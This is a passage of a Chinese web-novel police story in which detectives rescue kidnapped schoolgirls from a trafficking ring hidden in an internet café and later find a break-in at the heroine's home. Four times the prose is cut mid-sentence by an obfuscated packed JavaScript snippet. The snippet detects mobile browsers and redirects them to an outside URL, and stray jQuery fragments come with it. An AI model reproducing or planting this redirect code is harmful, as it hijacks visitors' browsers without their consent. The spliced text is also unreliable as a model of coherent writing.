老师连忙让程露坐下。 程露撇了撇嘴，不甘情愿地乖乖坐下了。 程昭眼神示意程露稍安勿躁，然后和陈丰一起，和正在调查的警员了解情况。 …… 派来的警员马晋，是个四五十岁的老警员。 虽然他们派出所没有遇到什么大案，都是一些鸡飞狗跳家里长短的邻里纠纷，但是老马处理过很多案件，见多识广，自认是派出所最有办案经验的人。 老马询问了几个同学，又询问了家长，心里却怀疑，那两个女生是不是学习压力太大，结伴离家出走了。 老马听说市局刑警队派了两个人过来，心里还有一点不高兴，这是看不起他们的办案水平吗…… 看到程昭和陈丰，老马自动地把程昭看作陈丰的跟班，笑着迎上前去，自我介绍了一番，然后给陈丰递烟。 陈丰连忙拒绝，“我不吸烟的，而且我们在执行任务，这里是学校，这样影响不好。” 老马递烟的手僵在半空中，脸色有点尴尬。 程昭缓和了一下气氛，给老马介绍了一下自己和陈丰，然后询问老马案件的进展。 老马把烟放回口袋里，笑着摇摇头：“依我看啊，未必是什么案件。很可能就是小孩子叛逆期，厌学逃课。她们昨晚没回家，但是不是发了短信给家长吗。夜晚玩得太开心，白天睡过头干脆翘课，也是很常见的事……说她们失踪，实际上都没有失联24小时，按道理我们不用急着出警的，这次不知道为什么市里那么严格……你们是市局的刑警，应该知道发生了什么事？” 陈丰之前都是在家休养，对案件了解比较少，便不打算做主导的一方。他看了看程昭，使了个眼色。 程昭微微点头，然后看向老马，一脸严肃地说：“是发生了一些事，不过迟些你就知道了。麻烦马警官先和我们仔细讲讲案件吧。” 没打听到消息，老马稍微有点不快。他没有多说什么，直接把刚刚他问学生家长的对话录音给了程昭。 录音时长大概四十分钟。程昭懒得慢慢听，干脆找学校老师借了一台电脑，把录音导进去，用软件转成文字。 一问一答的看下来，程昭和陈丰都皱起了眉头。 这个马警官的问话问得很简单，问了两个女生是什么时候离开学校，什么衣着打扮，有没有喜欢去的地方，有没有亲密的异性朋友…… 他的问话，完全是基于小女生离家出走的预设去问的。如果两人是被绑架带走的，他大多数的问题都没有什么用处。 陈丰不确定这两个女生是不是被拐，但是马晋这样糊弄的态度，他也感觉很生气。马晋完全是在浪费宝贵的破案时间，还有失踪者活命的机会。 老马觉得自己没有错，他问这些问题也没有什么不对啊。以前大家都是这样办案的，把失踪者的信息记下来，DNA录进失踪人口库里面，然后等受害者出现。人海茫茫，谁知道她们去了哪里。警局事情这么多，一直找不到人，难道不做其他事情了？ 陈丰和老马争辩了几句，不欢而散。 “我们就是这样查的，你们觉得不对你们就查啊……突然厌学离家出走的小孩，我都不知道见过多少个了，你们就是太年轻，容易大惊小怪。”老马阴阳怪气了两句，然后走开了。 程昭很生气，不过她拉住了陈丰，不让他继续和这个老警员争辩，“别理他，我们先查案件，快点找到她们。” 陈丰咬牙，点头。 …… 程昭和陈丰询问了几个学生、老师、校工、失踪者的家人，了解了一些失踪者的情况。 老师表示，张雯雯是学霸，李心月是成绩中等、学习认真的普通女生。她们都不是会逃课的人。 同学表示，张雯雯她们和几个住宿女生都有暑期兼职计划，而且还计划找培训班补习。张雯雯她们走读，想着早点了解机构招人的情况，免得大家去问的时候就满员了。 她们两个都是穿着校服、学校外套。张雯雯背着红色书包，穿着白色运动鞋。李心月背着蓝色书包，穿着绿色帆布鞋。 两人在学校吃完晚饭，然后再出发。机构离学校有二十分钟的车程，学校门口的公交站有几路公交车都途径机构附近，程露她们觉得，张雯雯她们应该是坐公交车出发的。 那张捡来的传单被张雯雯她们拿走了。 学校联系教培机构，拿到了他们最近的宣传单，机构的广告传单和程露她们之前捡到的，内容有点不一样。当时的传单没有联系电话，只有邮箱地址，但是地址太长了，没有人记得是什么。 家长拿出了昨晚收到的短信，短信都是张雯雯她们自己手机发出来的，因为孩子曾经有在朋友家过夜的经历，所以家长没有怀疑。 校工、门卫表示，最近没有看到教培机构的人来学校附近派传单。如果有人来学校门口派广告，他们都会尽快把人赶走。 …… 程昭大概地推测了张雯雯、李心月的行踪路线，然后把学校、学校周围马路、公交车和车站、教培机构附近马路的监控，都申请收集来看。 虽然监控录像太多，而她们人手不多，时间有限，但是程昭有系统，她看过的内容，即使她自己没有留意，系统也会把相关的有用信息记录起来。 凭借这个方法，程昭找到了张雯雯、李心月从学校到教培机构附近的踪影，发现了在学校门口、教培机构附近的几个可疑人物。 程昭截了几个画面，让技术部的人帮忙增强画质，得到了他们的画像。 其中有一个人穿着校服，好像是学校的学生。程昭找了几个学生老师来辨认。 “这个……应该是我们班的韩学文。” “对，虽然只是侧脸，但是应该没错，韩学文怎么了？” 程昭微微一惊，看了一下系统。 【“韩学文丢下传单”、“韩学文监视张雯雯等人”被标注了关联。】 程昭思考了一下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489750|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩学文当时把传单塞进程露的外卖，可能最初的目标是程露。张雯雯她们提前去找教培机构，让暗地里的人措手不及。他们只好转换目标，把这两个女生先带走。 程昭：“韩学文在学校里面吗？” 老师：“应该在的……我看看……” 学生：“他好像去了厕所，一直没回来。” 程昭拜托学校帮忙，尽快确定韩学文有没有离开学校。 学校也感觉这个学生有点不对劲，连忙发动老师和校工去找人。 程昭把可疑人物的图像发给其他人，复述了学校这边的情况，想要大家查张顺、张军产业的时候，帮忙留意有没有遇到这些人。 …… 周立言他们已经到了张顺、张军的各处产业，正在和各处的负责人交涉。 因为这个案件性质非常恶劣，虽然他们手上只有陈子穆的证词和很少的证据，但是上级也开了搜查令，让警队便宜行事。 周立言仔细看了那几个人的画像，发现有两个人有点眼熟，好像刚刚在哪里看到过。 周立言回忆了一下，找到了来源——肉类加工厂的宣传栏，职工活动的照片。 周立言辨认了一番，那两个人就是职工活动里面出现的人。他悄悄找了一个有点年纪的女工，问她这两个人是谁。 女工回忆了一下，“这两个人不是工厂的人，好像是运货队的人……对了，他们好像是老板的亲戚。” 周立言谢过女工，提醒女工不要和负责人说自己和警察说过话。 女工明白警官的意思，点点头：“嗯，我就是路过，没有人找我说话。” 女工走开了。 周立言拍下了宣传栏的照片，发给正在查运输队的乔良，“乔叔，程昭发的几个可疑人物，这两个好像是运输队的人，你留意看看，找到了就先控制起来。高中那两个失踪女生，可能被这些人抓住了，很可能和我们是同一个案件。” 乔良回复收到。 …… 张顺、张军名下的屠宰场、肉类加工厂、运输公司、商铺、住房、仓库等等产业，都同时被警察上门要求检查。 刑事二队的人也加入了调查队伍，刑警带着一队警员，执行地毯式搜索。 过往的案件可以看出，KL组织很喜欢私建密室密道，所以大家都吸取教训，每个房间都留意有没有密室暗道。 无论怎么隐藏，只要留心去找，总会找到蛛丝马迹。警方在屠宰场、肉类加工厂、运输公司、仓库等地方，找到了密室。 密室里面还藏着一些还没有来得及转移的少男少女，他们被绳索绑着，神志不清，似乎都被下了迷药。 人证物证俱全，周立言下令，把张顺、张军及所有员工都抓起来，然后再慢慢辨认谁参与了人口贩卖的活动。 …… 张军在屠宰场，看到警方找到密室，狗急跳墙，拿手枪挟持了一个警员，叫嚣着让其他人让开，想要取车逃跑。 孙萍在场，当机立断拿出手枪，寻找合适的角度。 张军知道警察有枪，他小心地躲在警员的身后。可惜停车场附近没有什么遮挡物，他防得住前面，防不住后面和侧面。 孙萍找机会绕到他侧面，一枪爆头，成功救下了人质。 82. 狭路相逢 张顺在运输公司被乔良抓住。张顺被抓的时候还在喊冤，说自己不知情。张顺听到警察的对话，知道张军死了，狡猾地把所有问题都推到张军身上。 张顺：“冤枉啊，警察同志，我打理的都是正经生意，我是纳税人是良民啊。我不知道我弟弟暗地里做了这么多坏事。这些密室和人，我都不知道怎么回事啊……” 乔良看着张顺耍赖，也懒得慢慢跟他掰扯。现在人证物证都有，这些不配合的涉案人员，统统关起来慢慢审问。 程昭提及的可疑人物，今天没有来运输公司上班。 乔良把那两个公司员工的资料，发给其他人：“这两个人是张顺、张军的表弟，名叫梁硕、陈黍。他们名下有两辆车、四套房子，他们还以个人名义租了几个仓库。他们今天没有来上班。” …… 周立言等人多处地点解救的少男少女，合计27人。这些人都中了迷药，药效还没有消失，身上可能还有别的伤，在场的警员先把他们送去了医院。 这些人里面没有张雯雯、李心月。她们可能还在捉走她们的人那里。 程昭看了一下系统，系统显示，张雯雯她们在梁硕他们手里。不过乔良发来的一串地址，她在心里默念了一遍，系统都没显示张雯雯她们在哪里。 程昭想了想，又去问了一下学校老师，“请问，找到韩学文了吗？他有没有离开学校？” 老师着急地摇摇头，“没有找到，学校里面都找遍了，门口监控还在查。” 程昭回忆了一下，当初家长会，老师好像说过韩学文和同学一起逃课。估计韩学文已经逃出经验了。 程昭回到程露的课室，问程露和旁边的同学：“你们知不知道，韩学文去了哪里？他和谁比较熟？” “李志斌吧，他们总是一起玩。” 坐课室后排的一个男生，听到她们的对话，慌慌张张地反驳：“那是以前！我现在没和他一起了。” 程昭从头到脚扫视了李志斌一圈，系统没有标记他，估计和案子没有什么关系。 程昭对他招手，“李志斌，麻烦你过来一下，我们有几个问题想请教你。” 李志斌乖乖地走过来，脸上带着忐忑不安的表情。 程昭温声道：“你别紧张，我就是想问一些韩学文的事……你知道他去了哪里吗？” 李志斌看女警官态度温和，不是审问的语气，微微松了一口气，“他在学校常去的地方，我都和老师说过了。” 程昭：“你们是不是有方法避开老师，出去校外？” 李志斌脸上一热，支支吾吾了两秒，闭上眼睛点点头，“学校饭堂后的围墙很好爬，而且没有监控。” 程昭：“那你知不知道，他出去之后会去哪里？” 李志斌说了一些地点，但是程昭看系统，这些地方都没有标注关联。 程昭想查看李志斌的手机，通过李志斌和韩学文过往的生活细节，看看系统能不能标注什么线索。 李志斌不太想被查看隐私，但是他急需和韩学文割席。为了表明自己没有包庇韩学文，他把手机给了程昭。 程昭谢过李志斌，站在他面前，一边查看他的手机内容，一边询问他。 从两人的社交媒体、聊天记录、相册可以看出，两个男生很喜欢玩游戏，李志斌和韩学文的日常就是手游、端游、游戏厅、网吧。 【“幻色网吧”被系统标注了关联。】 程昭：“你们之前去的幻色网吧在什么地方？” 李志斌看了一下手机，才回忆起来，“那个地方在XX路，我们很久以前去过几次，韩学文好像在那里见到熟人，然后我们就没再去那边了。” 程昭谢过李志斌，把手机还给他。 程昭离开课室，查了幻色网吧的具体地址，发现它距离教培机构很近，就隔了一条街。 程昭推测，幻色网吧是组织的一个据点，张雯雯她们可能被困在那个网吧。这次，系统肯定了程昭的想法。 事不宜迟，要尽快救人。程昭她们这里，离那个网吧最近。 程昭把幻色网吧的事发给了其他人，然后带上陈丰和几个警员出发。 …… 幻色网吧。 网吧正常营业，二楼的机子差不多坐满了人。新来的客人想上三楼，服务员婉拒了他的请求。 网吧三楼分隔了大大小小的包厢，现在空荡荡的，没有一个客人。某个包厢的装饰画后面隐藏着一个门，门的后面藏着一个大房间。 房间里面正坐着一个人，站着一个人，地上跪着三个人，墙角处还躺着两个人。 “好啊，你们居然偷偷给组织招了新成员，你们的级别什么时候升上来了？我怎么不知道？”一个穿着暗红色西装的人，一脸阴沉地盯着地上跪着几个人。 梁硕跪在地上，额头抵着地面，战战兢兢地回答：“红狐大人，我们见韩小弟是灰狼的亲戚，是自己人，看到他想帮忙，就让他做一点小事而已……他只是凑巧知道了这个据点，其他地方都是不知道的。他就是想表现自己，争取加入组织。” 陈黍在旁边疯狂点头，一脸求饶。 韩学文跪坐着，小心翼翼地看了一眼红狐，又看了一眼站在旁边的人——他的堂哥，梁硕他们口中的灰狼，韩高煊。 韩高煊一脸沉郁地刮了一眼堂弟。这人口生意他都没有参与，他堂弟居然先参了一脚。 今天他跟着红狐视察人口生意，撞见梁硕、陈黍占货品的便宜，开口教训几句。他堂弟突然跑了进来，说警察在查这两个高中生失踪的事，查到了他们。红狐很生气，三人连忙跪下求饶。 韩高煊转移红狐的注意力，免得他继续发火：“红狐大人，现在怎么办？这里估计不太安全了。” 红狐看起来很生气，实际上早已冷静下来。他沉吟片刻，“我先联络这条生意链上面的人，你们消除这里的痕迹。完成之后我们尽快离开A市。” 红狐不管他们怎么处理现场，径直出去打电话。 韩高煊吩咐其他人做事，事情还没有安排完，看到红狐眉头紧皱，快步走回来。 韩高煊：“大人，出事了吗？” 红狐点头，把刚刚打电话的手机关机拔卡，“电话被不认识的人接听了，估计是警察。我们快走吧。” 梁硕：“那我们还收拾吗？” 红狐：“来不及了，警察应该很快就找到这里了。” 陈黍：“那这两个小妞……” 红狐冷笑：“你们想带就带着吧，但是不要和我走在一起。” 陈黍挠了挠头，不明白红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496104|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐的意思。 韩高煊：“累赘不要带了，带着她们，警察就会一直追着。” 梁硕和陈黍明白了，连连点头。 韩学文弱弱地开口：“那我……” 韩高煊看看红狐，红狐：“跟着吧，看在灰狼的份上。” 几个人匆匆下楼，到了路边停车的地方。 这时，几辆警车快速驶近幻色网吧。 梁硕等人大惊，纷纷摸出口袋的枪。 红狐提示：“低头，假装普通人，慢慢上车。” …… 一般来说，警察目标是幻色网吧，不会留意已经在路边的路人。 但是程昭有系统提醒，而且韩学文还穿着校服裤子，目标比较明显。 程昭连忙用耳麦通知其他人，让警员包围那辆车：“那辆黑色的车，旁边还有几个人！韩学文和他们在一起，别让那几个人跑了！” 前面的警车连忙掉头，和后面的警车一起逼近，包抄过去。 红狐暗骂一声，不等韩学文他们慢慢上车，一把关上车门。 红狐下令：“来不及了，一起解决他们。” 这些人上车需要时间，上车增加车子的负担，还不如不让他们上车。 韩高煊暗暗咬牙，拿出手枪，降下车窗。 韩学文、梁硕、陈黍不明白发生了什么，连忙靠近车门车窗。不料，等待他们的，是两个黑洞洞的枪口。 砰、砰、砰三声闷闷的枪响，三个人的额头多了一个血洞。 又一声响亮的枪响，一颗子弹射入车内，红狐被击中肩膀，血花飞溅。 红狐惨叫一声，韩高煊连忙升上车窗，开车提速。 轿车迎面驶向前方的警车。 警车的驾驶员下意识地打方向避开，虽然他后来忍住了本能，但是车子已经不占路中间了。 轿车趁机半驶上人行道，借着警车一侧的空档离开。 程昭在后面继续开枪，这次目标是车轮。可惜打偏了，只在车屁股留下了一个弹痕。 SUV飞速离开。警车追不上了。 …… 程昭在其他人说明了情况。周立言立刻安排人手，在附近马路设置检查岗。 追不上跑掉的人，程昭、陈丰下车，检查路边倒下的三人。很明显，三个人脑袋开花，都没救了。 程昭留下一个警员看守现场，然后和其他人包围了幻色网吧。 经过一番检查问话，网吧里面的客人都是单纯来上网的，店员只知道三楼今天被清场了。 店长惴惴不安：“梁硕、陈黍是网吧的老板，他们有时候会要求三楼清场……警官，刚刚外面发生什么事了吗？” 程昭：“嗯，刚刚遇到逃犯了。你们先到一边等着，确定没问题了，就会放你们离开的。” 大家纷纷点头，表示一定配合。虽然没看到逃犯逃跑的场景，但是他们闻到了这位女警身上硝烟的味道，再熊的人也不敢闹事。 …… 警察迅速搜查网吧。程昭发现了三楼的暗门，找到了密室。 密室里面张雯雯、李心月迷药药效还在，两人迷迷糊糊的，虽然有点衣衫不整，但是看起来没有怎么受伤。 程昭快速帮她们整理衣服，然后让其他警员进来，搜集证据。 83. 受害者 程昭通知了其他人，她们这边找到两个失踪的女学生。 她告诉程露这个消息的时候，程露激动尖叫的声音，差点让她听觉失常了。 “……太好了！吓死我了，呜呜呜……”程露忍不住哭出声来。 程昭安慰了一下妹妹，然后赶紧挂了电话。 张雯雯、李心月好像迷药药效消散了，渐渐清醒过来。她们一开始很迷茫，然后似乎想起了自己的处境，开始惊慌挣扎。 程昭连忙按住两人，生怕她们自己撞到墙壁桌角，“醒醒，醒醒，你们安全了，别害怕。” 张雯雯记得程昭，听到熟人的声音，她意识到自己安全了，“程姐姐，警察来了……太好了……” 李心月也看清了眼前的女警和远处的警察，“……是警察，我们得救了。” 一时之间，庆幸、害怕、愤怒、懊恼……多种情绪一下子涌上心头，化作眼泪流了出来。两个女生用力地抱住眼前的警察姐姐，害怕眼前看到的只是幻觉。 程昭也心疼两人，轻轻拍拍她们的背，温柔地安抚她们的情绪。 等两人平复下来，程昭的衣服湿了两大块。 张雯雯、李心月看到自己眼泪鼻涕都蹭到程昭身上，感觉很不好意思，纷纷红了脸。 程昭倒是不在意，她掏出纸巾，抽出两张给自己，然后剩下的递给两个女生，“来，擦一擦眼泪吧。你们中了迷药，身体应该没有什么大碍，不过也要去医院检查一下。对了，抓你们的人已经死了。” 张雯雯、李心月活动了一下身体，除了有点四肢无力，没有感觉其他的不适，听到抓她们的坏人死了，心里十分高兴。 程昭：“你们还记得自己是怎么被抓住的吗？” 张雯雯和李心月皱起眉头，努力回忆昏迷之前发生的事。 那天下午放学之后，其他住宿的女生赶回去宿舍洗澡，她们两个走读生一起吃饭，顺便研究怎么搭车。她们出发之前先发了个邮件，确定教培机构是不是还在招人。对面很快回复了她们邮件，还给了她们联系电话。她们打电话联系了对方，电话对面的人让她们先到教培机构，给她们一些题目。她们差不多去到机构大楼的时候，一辆停在路边的车子突然冲出两个人，把她们拉了上车，然后她们很快就晕过去了。中途她们昏昏沉沉的，不知道发生了什么。警察来到之前，她们都没有怎么清醒过。 程昭有点失望，她还以为她们有听到组织的人谈话。刚刚逃跑的人，应该是从网吧里面出来的。不过没听到就没听到吧，她们总能找到线索的。 救护车来了，程昭送了她们上车。医院的人把路边的三具尸体也一起带走了。 …… 程昭和其他人一起搜查了网吧，还附近的监控录像都收集了起来。 通过附近的摄像头，程昭找到了那两个逃走的人的影像，一个是韩高煊，另一个是穿着暗红色西装的男人。他们来的时候，韩高煊站在西装男的侧后方，对他很敬重的样子。程昭推测这个人是韩高煊的上司红狐，系统肯定了她的推测。 交战的时候，韩高煊应该是负责开车的，程昭射中了后座的人，那个大概率就是红狐了。鉴证科的人在采集到了一些血液毛发，如果运气好，他们应该就可以拿到红狐的DNA和指纹。 …… 另外几处地方，周立言他们也收获了很多物证人证，大家把所有物证都带回警局，方便一起排查。 程昭在一堆东西里面，找到了几本用密码暗号写的秘密账册，还找到了翻译密码的字典。经过一番翻译，大家发现，秘密账册里面写了他们历次拐走的人的身份信息、给保护伞送钱的记录、其他拐卖集团给他们供货的信息…… 顺着这些线索，他们可以顺藤摸瓜地找到庇护不法分子的贪污官员、黑警，还可以找到其他的拐卖集团。 收获丰富，大家高兴之余，心情也十分沉重。虽然近年拐走的人变少了，但是长年累月的，表格里面密密麻麻地写满了名字。这些不法分子的贪欲，令数不清的家庭支离破碎，毁了无数人的人生。 乔良在里面找到了乔琳的名字，忍不住躲到一边，过了很久才两眼通红地回来，继续查案。 按照陈子穆的口供，以往被拐走的人，都被运出国外了。这说明，组织有跨国运输的能力。 周立言看完多种线索，得出一个结论：“KL组织有做走私买卖，而且规模不小。” 程昭皱眉：“可惜账册里面，没有记录运输相关的信息。” 孙泽林叹气：“这些人真的是分工明确，真的是把犯罪组织当成公司一样经营了。” 底层的人都只负责自己那一部分的工作，其余的事情都不太了解，一些人甚至不知道自己做了违法的事。这种情况导致他们审讯进度缓慢，只能好像拼拼图一样，一点点找到碎片，然后找到它的位置，慢慢得出事情的全貌。 于山看了他们破译出来的账册，表情有点难看。大家有点不明所以，面面相觑。 周立言直接开口询问：“于队，是有什么问题吗？” 于山皱眉点头，抖了抖手上厚厚的资料，“这个案子越查越大，已经超出我们的权限了。估计迟些，这个案子就不归我们负责了。” 大家有点反应过来了。这个案件不止发生在A市，犯罪集团跨了好几个省市作案，而且里面还涉及贪官污吏……他们只是市局下面的刑警，这个案件可能会被上面的人设立专案组调查，也可能会被直接整个拿走。 案子可能会被抢，他们心里有点不是滋味，但是也可以理解。不过乔良就不同了。 乔良眼里酝酿着风暴，他忍不住站了起来，“不行！这个案件里面一定要有我。” 于山皱眉，叹了一口气，“连我都不知道会不会被安排进专案组里面呢……这个事情，我不能和你打包票。” 乔良明白，但是他实在是不甘心。 程昭连忙打圆场，缓和气氛：“现在说这些还早呢，我们能查多少是多少。说不定我们被安排进专案组呢？” 大家也纷纷应和，“对啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507092|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们表现得好，说不定案件还是归我们。”“先冷静，查完再说。” 乔良克制住情绪，坐了下来，“你们说得对，我们先尽量查。” …… 连续忙着查了几天线索，程昭感觉需要让脑子缓一缓，便申请去医院，探望被解救的受害者，顺便再问问有没有回忆起其他的事情。 这种要求，于山、周立言当然不会拒绝。周立言也正想去医院看看，便和程昭一起。 几个地方找到的被囚禁的人，共计29人。这些人来自五湖四海，只有几个是本地人。 他们有的是找工作的时候被骗，有的是旅行途中被骗，还有一些是去见网友的时候被骗…… 之前就被关起来的人，大多数没有张雯雯、李心月那么幸运。不论男女，只要是长得好看的，都被张顺、张军那些人占过便宜，甚至有一些还被糟蹋过。 好几个受害者看起来精神都不太正常，对男性的靠近特别敏感。护士医生说，有几个受虐比较严重、关得比较久的少男少女，一开始都不敢睡觉，好不容易睡着了，半夜还会发噩梦惊醒。这些人后续还需要心理治疗。 不过他们比被送走的人，算是幸运很多了。他们的家人收到警方的通知，不少人已经来到A市，随时准备带他们回家。 从受害者的回忆里，程昭只得到了一些关于拐骗他们的人的线索。至于之前被拐的人是怎么转运出国的，这些受害者都不太了解。他们一直被辗转运到A市，不是在货车箱里，就是在暗室里，看守的人没有和他们透露过任何事情。 这趟医院之行收获不大，想要找到组织运输、走私的事，还是需要撬开那些犯罪者的嘴巴。 …… 去完医院，已经是下班时间了。周立言看到程昭心情有点低落，干脆直接带着她下班回家，暂时不加班了。 到了程昭家里，程昭抱着小橘，周立言抱着程昭，一起坐在沙发上看电视。 电视上播着校园青春偶像剧，程昭忍不住又想起那些受害者。 “别想了，她们已经得救了。”周立言看到她的表情，知道她又在伤感了，“只要还活着，就有希望痊愈。她们还有很多时间，去体会生命的美好。我们这次解救了这么多人，还破坏了一个已经发展了几年的拐骗网络，是一件很值得庆幸的事。” 事情往好处想，确实是这样的，这些道理程昭都明白。她忍不住叹了一口气：“那些被带走的人，不知道怎么样了。” 周立言亲了一下程昭的额头，“我们一直找，会找到的。乔叔肯定也不会放弃的。” “可是，案件万一被拿走了怎么办？”如果专案组不带他们…… 周立言轻笑，“平时那么机灵，怎么这种事反而想不通呢？” 程昭忍不住轻轻地给了他一肘子，“别卖关子。” 周立言清了一下嗓子，“咳，即使我们没进专案组，但是案件在A市发生，我们总有方法去了解的……只要想查，方法总会有的，船到桥头自然直，不要想太多。” 84. 不速之客 事情发展和于山料想的一样，跨市跨省的拐卖组织案，轮不到两个小小的市局刑警小队做主，拐卖组织案被省里的人拿走了。而且为了降低群众的恐慌，这个案件不对媒体公布，低调调查。 会议室，于山和参与了调查拐卖案的警员开会，说出了上面领导的决定。 于山把案件转移的通知书放到桌面上，叹了一口气，苦笑着耸耸肩，“……我知道大家为这个案件付出了很多心血，很关心受害人，但是希望大家可以理解上面的决定，他们已经请来了经验丰富的专家，组建了专案组，专门调查这一系列的案件。相信案件很快就有突破，大家就先专注我们手上的工作吧，市局里面人手不足，已经积压了不少案件了。” 查了一半的案件被拿走，大家心里都不太甘心，但是于山说的也是事实。他们权限不够不能跨市跨省办案，而且分身乏术，不可能长时间只查这些案子。只是…… 会议室一时间安静下来。大家不约而同地看向乔良。 乔良低着头，看着桌面，其他人看不清他的表情。 于山为难地看看乔良，又看看其他人，然后疯狂暗示周立言去安抚乔良。周立言爱莫能助地摊手耸肩。 于山硬着头皮，劝说：“老乔啊，我知道你想查，但是规定如此，我们也没办法啊……专案组的专家经验老到，级别权限又高，肯定比我们厉害，查得更快……我后面还会继续和他们申请，让你们参与到里面的……再不济，我也会把案件的情报拿到手，告诉你们……” 乔良终于抬起头，双眼微红，长吁短叹，“领导，我这么多年都只有一个愿望，你知道的。” 于山想起往事，也叹了一口气，郑重保证：“放心吧，我会紧盯着那边情况的，有什么事情，我都会第一时间和你们说。” …… 案件就这样被调走了。大家又恢复了之前忙碌各种案件的生活。 程昭有点想不通，她一直以为乔良会激烈抗议，上一次他反应可激烈了。 下班后，回到家。周立言看程昭还在纠结此事，便给程昭解惑，“乔叔最想查的，是乔琳的下落。现在案件的重点还在查拐卖组织的人，应该很久都不会出国去查，以往被卖出去的人……” 程昭试探地看向周立言：“你们是不是私底下做了什么事？” “没错。”周立言爽朗一笑，轻轻揉了揉程昭的头发，“上次于山说完，我就私底下找乔良谈话，给他介绍了两个私家侦探，又联系了外国工作的朋友，让他们帮忙找人。” 程昭恍然大悟，怪不得乔良之前都没有发表过什么不满，怪不得周立言之前那么淡定。 程昭忍不住埋怨，“那你怎么不早说？” 周立言连忙澄清，“这是乔叔要求的，他想吓一下领导，争取一些有利条件。” 程昭哭笑不得，害她白担心了一场。 两人准备材料煮晚餐，周立言去洗菜切肉，程昭洗米下锅。忙碌了一会，程昭感觉家里有点不对劲。 程昭洗干净手，在家里到处看了一圈，疑惑地问周立言：“阿言，你有看到小橘吗？” 周立言回想了一下，摇摇头，“好像没有。是不是躲床底、柜子睡觉了？” 程昭连忙去看，但是没有发现小猫的身影。 程昭努力回想，眉头紧皱，越想越心急，“难道是我早上出门，它跟着我跑出来了？但是小橘从来不会这样做的……” “别急，我们找一下，它那么聪明，不会有事的。”周立言把燃气灶的火关掉，和程昭又在家里找了一圈。 程昭想起之前买的定时喂食器有摄像头，打开APP查看今天的记录。她早上出门的时候，小橘还在客厅里面睡觉。程昭点了快进，APP上面的录影画面快速闪过，在下午2点左右的时候，一个身穿黑色衣服、头戴蓝色鸭舌帽、脸上戴着口罩的陌生男子闯进画面。 程昭被吓了一跳，这是家里进贼了？ 程昭连忙招来周立言，把手机屏幕递给他看，“阿言你快过来看……” 周立言连忙过来，两人一起看喂食器拍下的录像。 这个黑衣男子进入房子之后周围转了一圈，不停地翻看家里的东西，每个抽屉都拉开翻了一遍。程昭放在客厅的零钱包，他也拿起来看了，但是没有拿走里面的钱。 家里的房间他都进去过，包括杂物房、厨房。最后他在杂物房拿了一个蓝色的本子离开了。 杂物房？ 程昭刚刚还真没有去杂物房找猫，毕竟这个小房间常年都关着门，小橘不可能自己开门走进去。 程昭跑去杂物房，一打开门，就看到小橘窝在纸皮箱上面睡觉。小橘看到程昭，懒洋洋地打了一个大大的哈欠，拱起屁股伸了一个懒腰，优雅地跳到地上，蹭蹭程昭的脚。 周立言也走了过来，“小橘居然偷偷跟着进去了？” 程昭摸摸小橘的头，赞赏道：“肯定是小橘发现了坏人，趁机躲进去，想告诉我们有其他人来过！小橘你太聪明了！” 小橘傲娇地仰起头，“喵”了一声。 周立言忍不住笑了，他清了清嗓子，“那个蓝色的本子，是你的？” 程昭回忆了一下，摇摇头，“这个杂物房里面的东西，大多数是我父母的遗物。我也不清楚那个本子是属于我妈还是我爸的，不知道程露知不知道。” 周立言皱着眉点点头，“我们还是先报警报备一下吧。检查一下你家里面有没有多了什么不该有的东西，最好换一个门锁。” 程昭点头，出去客厅拿手机报警。 周立言开着手机电筒四处检查，没有发现可疑的东西，但是还是不太放心。 周立言纠结了一下，最后还是决定要去问问程昭意见，“不如我们明天找人来家里检查一下？不过找局里的技术员，我们的关系可能就……” 程昭看到周立言那么纠结，还以为他想到了什么，没想到他居然在纠结这个，她忍不住笑了，“找吧，公开也没关系……我们天天出双入对的，说不定局里的人也猜到了。” 周立言也想起了乔良、孙泽林、于山等人，听他汇报赌场案经过的样子，忍不住也笑了。除了侯远山和陈丰这两个憨憨，其他人应该多少也猜到了。 “那行，现在叫人来太晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517163|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 